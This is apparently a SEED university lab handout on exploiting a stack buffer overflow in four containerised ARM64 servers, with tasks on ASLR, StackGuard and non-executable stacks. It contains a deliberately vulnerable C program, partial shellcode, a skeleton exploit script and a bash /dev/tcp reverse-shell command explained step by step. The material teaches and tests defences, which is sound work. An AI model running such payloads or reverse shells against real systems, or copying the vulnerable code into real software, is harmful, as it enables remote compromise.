Buffer Overflow Attack Lab (ARM64 Server Version)

1 Overview

Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundary of a buffer. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code. The objective of this lab is for students to gain practical insights into this type of vulnerability, and learn how to exploit the vulnerability in attacks.

In this lab, students will be given four different servers, each running a program with a buffer-overflow vulnerability. Their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege on these servers. In addition to the attacks, students will also experiment with several countermeasures against buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why. This lab covers the following topics:

- Buffer overflow vulnerability and attack
- Stack layout in a function invocation
- Address randomization, Non-executable stack, and StackGuard
- Shellcode. We have a separate lab on how to write shellcode from scratch.

Readings and videos. Detailed coverage of the buffer-overflow attack can be found in the following:

- Chapter 4 of the SEED Book, *Computer & Internet Security: A Hands-on Approach*, 3rd Edition, by Wenliang Du. See details at `https://www.handsonsecurity.net`.
- Section 4 of the SEED Lecture at Udemy, *Computer Security: A Hands-on Approach*, by Wenliang Du. See details at `https://www.handsonsecurity.net/video.html`.

Lab environment. This lab has been tested on the SEED Ubuntu 20.04 VM. You can download a pre-built image from the SEED website, and run the SEED VM on your own computer. However, most of the SEED labs can be conducted on the cloud, and you can follow our instruction to create a SEED VM on the cloud.

Note for instructors. Instructors can customize this lab by choosing values for `L1`, ..., `L4`. See Section 2.2 for details. Depending on the background of students and the time allocated for this lab, instructors can also make the Level-2, Level-3, and Level-4 tasks (or some of them) optional. The Level-1 task is sufficient to cover the basics of the buffer-overflow attacks. Levels 2 to 4 increase the attack difficulties. All the countermeasure tasks are based on the Level-1 task, so skipping the other levels does not affect those tasks.

2 Lab Environment Setup

Please download the `Labsetup.zip` file to your VM from the lab's website, unzip it, and you will get a folder called `Labsetup`. All the files needed for this lab are included in this folder.

2.1 Turning off Countermeasures

Before starting this lab, we need to make sure the address randomization countermeasure is turned off; otherwise, the attack will be difficult. You can do it using the following command:

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
```

2.2 The Vulnerable Program

The vulnerable program used in this lab is called `stack.c`, which is in the `server-code` folder. This program has a buffer-overflow vulnerability, and your job is to exploit this vulnerability and gain the root privilege. The code listed below has some non-essential information removed, so it is slightly different from what you get from the lab setup file.

Listing 1: The vulnerable program `stack.c`

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past. */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    memcpy(buffer, str, 517);

    return 1;
}

void foo(char *str)
{
    ...
    bof(str);
}

int main(int argc, char **argv)
{
    char str[517];

    int length = fread(str, sizeof(char), 517, stdin);
    foo(str);
    fprintf(stdout, "==== Returned Properly ====\n");
    return 1;
}
```

The above program has a buffer overflow vulnerability. It reads data from the standard input, and the data are eventually copied to another buffer in the function `bof()`. The original input can have a maximum length of `517` bytes, but the buffer in `bof()` is only `BUF_SIZE` bytes long, which is less than `517`. When `memcpy()` copies the data to the target buffer, buffer overflow will occur.

The program will run on a server with the root privilege, and its standard input will be redirected to a TCP connection between the server and a remote user. Therefore, the program actually gets its data from a remote user. If users can exploit this buffer overflow vulnerability, they can get a root shell on the server.

Compilation. To compile the above vulnerable program, we need to turn off the StackGuard and the non-executable stack protections using the `-fno-stack-protector` and `"-z execstack"` options. The following is an example of the compilation command (the `L1` environment variable sets the value for the `BUF_SIZE` constant inside `stack.c`).

```
$ gcc -DBUF_SIZE=$(L1) -o stack -z execstack -fno-stack-protector stack.c
```

The compilation commands are already provided in `Makefile`. To compile the code, you need to type `make` to execute those commands. The variables `L1`, `L2`, `L3`, and `L4` are set in `Makefile`; they will be used during the compilation. After the compilation, we need to copy the binary into the `bof-containers` folder, so they can be used by the containers. The following commands conduct compilation and installation.

```
$ make
$ make install
```

For instructors (customization). To make the lab slightly different from the one offered in the past, instructors can change the value for `BUF_SIZE` by requiring students to compile the server code using different `BUF_SIZE` values. In `Makefile`, the `BUF_SIZE` value is set by four variables `L1`, ..., `L4`. Instructors should pick the values for these variables based on the following suggestions:

- `L1`: pick a number between 100 and 400
- `L2`: pick a number between 40 and 200
- `L3`: pick a number between 100 and 400
- `L4`: pick a number between 20 and 80; we need to keep this number smaller, to make this level more challenging than the previous level.

The Server Program. In the `server-code` folder, you can find a program called `server.c`. This is the main entry point of the server. It listens to port `9090`. When it receives a TCP connection, it invokes the `stack` program, and sets the TCP connection as the standard input of the `stack` program. This way, when `stack` reads data from `stdin`, it actually reads from the TCP connection, i.e. the data are provided by the user on the TCP client side. It is not necessary for students to read the source code of `server.c`.

2.3 Container Setup and Commands

Please download the `Labsetup.zip` file to your VM from the lab's website, unzip it, enter the `Labsetup` folder, and use the `docker-compose.yml` file to set up the lab environment. Detailed explanation of the content in this file and all the involved `Dockerfile` can be found from the user manual, which is linked to the website of this lab. If this is the first time you set up a SEED lab environment using containers, it is very important that you read the user manual.

In the following, we list some of the commonly used commands related to Docker and Compose. Since we are going to use these commands very frequently, we have created aliases for them in the `.bashrc` file (in our provided SEEDUbuntu 20.04 VM).

```
$ docker-compose build  # Build the container images
$ docker-compose up     # Start the containers
$ docker-compose down   # Shut down the containers

// Aliases for the Compose commands above
$ dcbuild       # Alias for: docker-compose build
$ dcup          # Alias for: docker-compose up
$ dcdown        # Alias for: docker-compose down
```

All the containers will be running in the background. To run commands on a container, we often need to get a shell on that container. We first need to use the "`docker ps`" command to find out the ID of the container, and then use "`docker exec`" to start a shell on that container. We have created aliases for them in the `.bashrc` file.

```
$ dockps        // Alias for: docker ps --format "{{.ID}}  {{.Names}}"
$ docksh <id>   // Alias for: docker exec -it <id> /bin/bash

// The following example shows how to get a shell inside hostC
$ dockps
b1004832e275  hostA-10.9.0.5
0af4ea7a3e2e  hostB-10.9.0.6
9652715c8e0a  hostC-10.9.0.7

$ docksh 96
root@9652715c8e0a:/#

// Note: If a docker command requires a container ID, you do not need to
//       type the entire ID string. Typing the first few characters will
//       be sufficient, as long as they are unique among all the containers.
```

If you encounter problems when setting up the lab environment, please read the "Common Problems" section of the manual for potential solutions.

Note. It should be noted that before running "`docker-compose build`" to build the docker images, we need to compile and copy the server code to the `bof-containers` folder. This step is described in Section 2.2.

3 Task 1: Get Familiar with the Shellcode

The ultimate goal of buffer-overflow attacks is to inject malicious code into the target program, so the code can be executed using the target program's privilege. Shellcode is widely used in most code-injection attacks. Let us get familiar with it in this task.

Shellcode is typically used in code injection attacks. It is basically a piece of code that launches a shell, and is usually written in assembly languages. In this lab, we only provide the binary version of a generic shellcode, without explaining how it works, because it is non-trivial. If you are interested in how exactly shellcode works, and want to write a shellcode from scratch, you can learn that from a separate SEED lab called *Shellcode Lab*. Our generic shellcode is listed in the following.

```
shellcode= (
   "\x0b\x05\x01\x10\x0c\x04\x84\xd2\x73\x01\x0c\xcb\x29\x01\x09\x4a"
   ... (lines omitted) ...
   "\x94\x02\x14\xca\xe2\x03\x14\xaa\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
   "/bin/bash*"                                                        ❶
   "-c****"                                                            ❷
   "/bin/ls -l; echo Hello 64; /bin/tail -n 4 /etc/passwd          *" ❸
   # The * in this line serves as the position marker               *
   "AAAAAAAA"    # Placeholder for argv[0] --> "/bin/bash"
   "BBBBBBBB"    # Placeholder for argv[1] --> "-c"
   "CCCCCCCC"    # Placeholder for argv[2] --> the command string
   "DDDDDDDD"    # Placeholder for argv[3] --> NULL
).encode('latin-1')
```

The shellcode runs the `"/bin/bash"` shell program (Line ❶), but it is given two arguments, `"-c"` (Line ❷) and a command string (Line ❸). This indicates that the shell program will run the commands in the second argument. The `*` at the end of these strings is only a placeholder, and it will be replaced by one byte of `0x00` during the execution of the shellcode. Each string needs to have a zero at the end, but we cannot put zeros in the shellcode. Instead, we put a placeholder at the end of each string, and then dynamically put a zero in the placeholder during the execution.

If we want the shellcode to run some other commands, we just need to modify the command string in Line ❸. However, when making changes, we need to make sure not to change the length of this string, because the starting position of the placeholder for the `argv[]` array, which is right after the command string, is hardcoded in the binary portion of the shellcode. If we change the length, we need to modify the binary part. To keep the star at the end of this string at the same position, you can add or delete spaces.

You can find the generic shellcode in the `shellcode` folder. Inside, you will see a Python program called `shellcode_64.py`. It will write the binary shellcode to `codefile_64`. You can then use `call_shellcode` to execute the shellcode in it.

```
// Generate the shellcode binary
$ ./shellcode_64.py     ➞  generate codefile_64

// Compile call_shellcode.c
$ make                  ➞  generate a64.out

// Test the shellcode
$ a64.out               ➞  execute the shellcode in codefile_64
```

Task. Please modify the shellcode, so you can use it to delete a file. Please include your modified shellcode in the lab report, as well as your screenshots.

4 Task 2: Level-1 Attack

When we start the containers using the included `docker-compose.yml` file, four containers will be running, representing four levels of difficulties. We will work on Level 1 in this task.

4.1 Server

Our first target runs on `10.9.0.5` (the port number is `9090`), and the vulnerable program `stack` is a 64-bit program). Let's first send a benign message to this server. We will see the following messages printed out by the target container (the actual messages you see may be different).

```
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.5 9090
Press Ctrl+C

// Messages printed out by the container
server-1-10.9.0.5  | Got a connection from 10.9.0.1
server-1-10.9.0.5  | Starting stack
server-1-10.9.0.5  | Input size: 6
server-1-10.9.0.5  | Frame pointer (x29) inside foo():  0x0000ffffffffff110
server-1-10.9.0.5  | Frame pointer (x29) inside bof():  0x0000ffffffffff080
server-1-10.9.0.5  | Buffer's address inside bof():     0x0000ffffffffff0a0
```

As you can see from the printout, the buffer's address is larger than the `bof()` function's frame pointer. Since the return address is stored at (frame pointer + 8), the buffer is clearly placed above the return address. This is different from the x86/amd64 architecture, where the buffer is stored below the return address. This introduces a challenge that does not exist in the x86/amd64 architecture: how to modify the return address using the buffer overflow?

The server will accept up to `517` bytes of the data from the user, and that will cause a buffer overflow. Your job is to construct your payload to exploit this vulnerability. If you save your payload in a file, you can send the payload to the server using the following command.

```
$ cat <file> | nc 10.9.0.5 9090
```

If the server program returns, it will print out `"Returned Properly"`. If this message is not printed out, the `stack` program has probably crashed. The server will still keep running, taking new connections.

For this task, the information essential for buffer-overflow attacks is printed out as hints to students: the value of the frame pointer and the address of the buffer. The frame point register is called `ebp`, `rbp`, and `x29` for the x86, amd64, arm64 architectures, respectively. You can use the provided information to construct your payload.

Added randomness. We have added a little bit of randomness in the program, so different students are likely to see different values for the buffer address and frame pointer. The values only change when the container restarts, so as long as you keep the container running, you will see the same numbers (the numbers seen by different students are still different). This randomness is different from the address-randomization countermeasure. Its sole purpose is to make students' work a little bit different.

4.2 Writing Exploit Code and Launching Attack

To exploit the buffer-overflow vulnerability in the target program, we need to prepare a payload, and save it inside a file (we will use `badfile` as the file name in this document). We will use a Python program to do that. We provide a skeleton program called `exploit.py`, which is included in the lab setup file. The code is incomplete, and students need to replace some of the essential values in the code.

Listing 2: The skeleton exploit code (`exploit.py`)

```
#!/usr/bin/python3
```

```
import sys

# You can copy and paste the shellcode from Task 1
shellcode = (
  ""                    # ☆ Need to change ☆
).encode('latin-1')

# Fill the content with NOP's (0xD503201F is NOP instruction in arm64)
nop = (0xD503201F).to_bytes(4, byteorder='little')
content = bytearray(517)
for offset in range(int(500/4)):
   content[offset*4:offset*4 + 4] = nop

####################################################################
# Put the shellcode somewhere in the payload
start = 0               # ☆ Need to change ☆
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x00           # ☆ Need to change ☆
offset = 0              # ☆ Need to change ☆

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
####################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

It should be noted that the buffer overflow problem in the vulnerable program is caused by the `memcpy()` function, which, unlike `strcpy()`, does not terminate at zero. Therefore, in your input, you can have zeros. Actually, as we can see from the printout, the two most significant bytes of each address are zeros.

After you finish the above program, run it. This will generate the contents for `badfile`. Then feed it to the vulnerable server. If your exploit is implemented correctly, the command you put inside your shellcode will be executed. If your command generates some outputs, you should be able to see them from the container window. Please provide proofs to show that you can successfully get the vulnerable server to run your commands.

```
$./exploit.py   // create the badfile
$ cat badfile | nc 10.9.0.5 9090
```

Reverse shell. We are not interested in running some pre-determined commands. We want to get a root shell on the target server, so we can type any command we want. Since we are on a remote machine, if we simply get the server to run `/bin/sh`, we won't be able to control the shell program. Reverse shell is a typical technique to solve this problem. Section 10 provides detailed instructions on how to run a reverse shell. Please modify the command string in your shellcode, so you can get a reverse shell on the target server. Please include screenshots and explanation in your lab report.

5 Task 3: Level-2 Attack

In this task, we are going to increase the difficulty of the attack a little bit by not displaying an essential piece of the information. Our target server is `10.9.0.6` (the port number is still `9090`). Let's first send a benign message to this server. We will see the following messages printed out by the target container.

```
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.6 9090
Ctrl+C

// Messages printed out by the container
server-2-10.9.0.6  | Got a connection from 10.9.0.1
server-2-10.9.0.6  | Starting stack
server-2-10.9.0.6  | Input size: 6
server-2-10.9.0.6  | Buffer's address inside bof():     0x0000ffffffffff3d0
server-2-10.9.0.6  | ==== Returned Properly ====
```

As you can see, the server only gives out one hint, the address of the buffer; it does not reveal the value of the frame pointer. This means, the size of the buffer is unknown to you. That makes exploiting the vulnerability more difficult than the Level-1 attack. Although the actual buffer size can be found in `Makefile`, you are not allowed to use that information in the attack, because in the real world, it is unlikely that you will have this file. To simplify the task, we do assume that the range of the buffer size is known. Another fact that may be useful to you is that, due to the memory alignment, the value stored in the frame pointer is always multiple of four and eight for 32-bit and 64-bit programs, respectively.

```
Range of the buffer size (in bytes): [100, 200]
```

Your job is to construct one payload to exploit the buffer overflow vulnerability on the server, and get a root shell on the target server (using the reverse shell technique). Similar to the Level-1 task, your payload can contain zeros. Please be noted, you are only allowed to construct one payload that works for any buffer size within this range. You will not get all the credits if you use the brute-force method, i.e., trying one buffer size each time. The more you try, the easier it will be detected and defeated by the victim. That's why minimizing the number of trials is important for attacks. In your lab report, you need to describe your method, and provide evidences.

6 Task 4: Level-3 Attack

In the previous tasks, our target servers use `memcpy()` to copy data to the target buffer. In this task, we switch to `strcpy()`, which terminates the copying when it sees a zero byte. Therefore, our payload can no longer contain any zero. Our new target is `10.9.0.7`, which runs the 64-bit version of the `stack` program. Let's first send a hello message to this server. We will see the following messages printed out by the target container.

```
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.7 9090
Ctrl+C

server-3-10.9.0.7  | Got a connection from 10.9.0.1
server-3-10.9.0.7  | Starting stack
server-3-10.9.0.7  | Input size: 6
server-3-10.9.0.7  | Frame pointer (x29) inside foo():  0x0000ffffffffff120
```

```
server-3-10.9.0.7  | Frame pointer (x29) inside bof():  0x0000ffffffffefc0
server-3-10.9.0.7  | Buffer's address inside bof():     0x0000ffffffffefe8
server-3-10.9.0.7  | ==== Returned Properly ====
```

Your job is to construct your payload to exploit the buffer overflow vulnerability of the server. You ultimate goal is to get a root shell on the target server. You can use the shellcode from Task 1.

Challenges. Compared to buffer-overflow attacks on 32-bit machines, attacks on 64-bit machines is more difficult. The most difficult part is the address. Although the x64 architecture supports 64-bit address space, only the address from `0x00` through `0x00007FFFFFFFFFFF` is allowed. That means for every address (8 bytes), the highest two bytes are always zeros. This causes a problem.

In our buffer-overflow attacks, we need to store at least one address in the payload, and the payload will be copied into the stack via `strcpy()`. We know that the `strcpy()` function will stop copying when it sees a zero. Therefore, if a zero appears in the middle of the payload, the content after the zero cannot be copied into the stack. How to solve this problem is the most difficult challenge in this attack. In your report, you need to describe how you solve this problem.

7 Task 5: Level-4 Attack

The server in this task is similar to that in Level 3, except that the buffer size is much smaller. From the following printout, you can see the distance between the frame pointer and the buffer's address is much smaller than that in Level 3. Your goal is still the same: get the root shell on this server. The server still takes in 517 byte of input data from the user.

```
server-4-10.9.0.8  | Got a connection from 10.9.0.1
server-4-10.9.0.8  | Starting stack
server-4-10.9.0.8  | Input size: 6
server-4-10.9.0.8  | Frame pointer (x29) inside foo():  0x0000fffffffff120
server-4-10.9.0.8  | Frame pointer (x29) inside bof():  0x0000fffffffff0e0
server-4-10.9.0.8  | Buffer's address inside bof():     0x0000fffffffff100
server-4-10.9.0.8  | ==== Returned Properly ====
```

8 Task 6: Experimenting with the Address Randomization

At the beginning of this lab, we turned off one of the countermeasures, the Address Space Layout Randomization (ASLR). In this task, we will turn it back on, and see how it affects the attack. You can run the following command on your VM to enable ASLR. This change is global, and it will affect all the containers running inside the VM.

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

Please send a `hello` message to the Level 1 and Level 3 servers, and do it multiple times. In your report, please report your observation, and explain why ASLR makes the buffer-overflow attack more difficult.

9 Tasks 7: Experimenting with Other Countermeasures

9.1 Task 7.a: Turn on the StackGuard Protection

Many compiler, such as `gcc`, implements a security mechanism called *StackGuard* to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. The provided vulnerable programs were compiled without enabling the StackGuard protection. In this task, we will turn it on and see what will happen.

Please go to the `server-code` folder, remove the `-fno-stack-protector` flag from the `gcc` flag, and compile `stack.c`. We will only use `stack-L1`, but instead of running it in a container, we will directly run it from the command line. Let's create a file that can cause buffer overflow, and then feed the content of the file `stack-L1`. Please describe and explain your observations.

```
$ ./stack-L1 < badfile
```

9.2 Task 7.b: Turn on the Non-executable Stack Protection

Operating systems used to allow executable stacks, but this has now changed: In Ubuntu OS, the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the `gcc`, which by default makes stack non-executable. We can specifically make it non-executable using the `"-z noexecstack"` flag in the compilation. In our previous tasks, we used `"-z execstack"` to make stacks executable.

In this task, we will make the stack non-executable. We will do this experiment in the `shellcode` folder. The `call_shellcode` program puts a copy of shellcode on the stack, and then executes the code from the stack. Please recompile `call_shellcode.c` without the `"-z execstack"` option. Run the program and describe and explain your observations.

Defeating the non-executable stack countermeasure. It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a buffer-overflow vulnerability. The *return-to-libc* attack is an example. We have designed a separate lab for that attack. If you are interested, please see our Return-to-Libc Attack Lab for details.

10 Guidelines on Reverse Shell

The key idea of reverse shell is to redirect its standard input, output, and error devices to a network connection, so the shell gets its input from the connection, and prints out its output also to the connection. At the other end of the connection is a program run by the attacker; the program simply displays whatever comes from the shell at the other end, and sends whatever is typed by the attacker to the shell, over the network connection.

A commonly used program by attackers is `netcat`, which, if running with the `"-l"` option, becomes a TCP server that listens for a connection on the specified port. This server program basically prints out whatever is sent by the client, and sends to the client whatever is typed by the user running the server. In the following experiment, `netcat` (`nc` for short) is used to listen for a connection on port `9090` (let us focus only on the first line).

```
Attacker(10.0.2.6):$ nc -nv -l 9090  ← Waiting for reverse shell
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 39452
Server(10.0.2.5):$     ← Reverse shell from 10.0.2.5.
Server(10.0.2.5):$ ifconfig
ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.5  netmask 255.255.255.0  broadcast 10.0.2.255
        ...
```

The above `nc` command will block, waiting for a connection. We now directly run the following bash program on the Server machine (`10.0.2.5`) to emulate what attackers would run after compromising the server via the Shellshock attack. This bash command will trigger a TCP connection to the attacker machine's port 9090, and a reverse shell will be created. We can see the shell prompt from the above result, indicating that the shell is running on the Server machine; we can type the `ifconfig` command to verify that the IP address is indeed `10.0.2.5`, the one belonging to the Server machine. Here is the bash command:

```
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
```

The above command represents the one that would normally be executed on a compromised server. It is quite complicated, and we give a detailed explanation in the following:

- "`/bin/bash -i`": The option `i` stands for interactive, meaning that the shell must be interactive (must provide a shell prompt).
- "`> /dev/tcp/10.0.2.6/9090`": This causes the output device (`stdout`) of the shell to be redirected to the TCP connection to `10.0.2.6`'s port `9090`. In `Unix` systems, `stdout`'s file descriptor is `1`.
- "`0<&1`": File descriptor `0` represents the standard input device (`stdin`). This option tells the system to use the standard output device as the stardard input device. Since `stdout` is already redirected to the TCP connection, this option basically indicates that the shell program will get its input from the same TCP connection.
- "`2>&1`": File descriptor `2` represents the standard error `stderr`. This causes the error output to be redirected to `stdout`, which is the TCP connection.

In summary, the command "`/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1`" starts a `bash` shell on the server machine, with its input coming from a TCP connection, and output going to the same TCP connection. In our experiment, when the `bash` shell command is executed on `10.0.2.5`, it connects back to the `netcat` process started on `10.0.2.6`. This is confirmed via the "`Connection from 10.0.2.5 ...`" message displayed by `netcat`.

11 Submission

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits.